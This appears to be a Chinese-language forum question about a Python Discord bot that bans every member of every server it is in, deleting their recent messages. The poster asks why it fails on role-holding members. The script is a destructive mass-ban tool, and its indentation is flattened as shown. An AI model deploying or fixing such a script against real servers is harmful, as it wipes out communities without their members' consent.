代码:
import discord
TOKEN = "{Removed for safety}" # Put your Bot token here
SKIP_BOTS = False
fetch_offline_members = True
client = discord.Client()
@client.event
async def on_ready():
print('Logged in!')
for member in client.get_all_members():
if member.bot and SKIP_BOTS:
continue
try:
await member.ban(reason="Banned by BanBot", delete_message_days=7)
print(f"Banned {member.display_name}!")
except:
print(f"Could not ban {member.display_name}")
print("Banning is complete!")
client.run(TOKEN)
该机器人具有管理员角色,也具有很高的作用,所以我不明白为什么它不会禁止具有角色的人。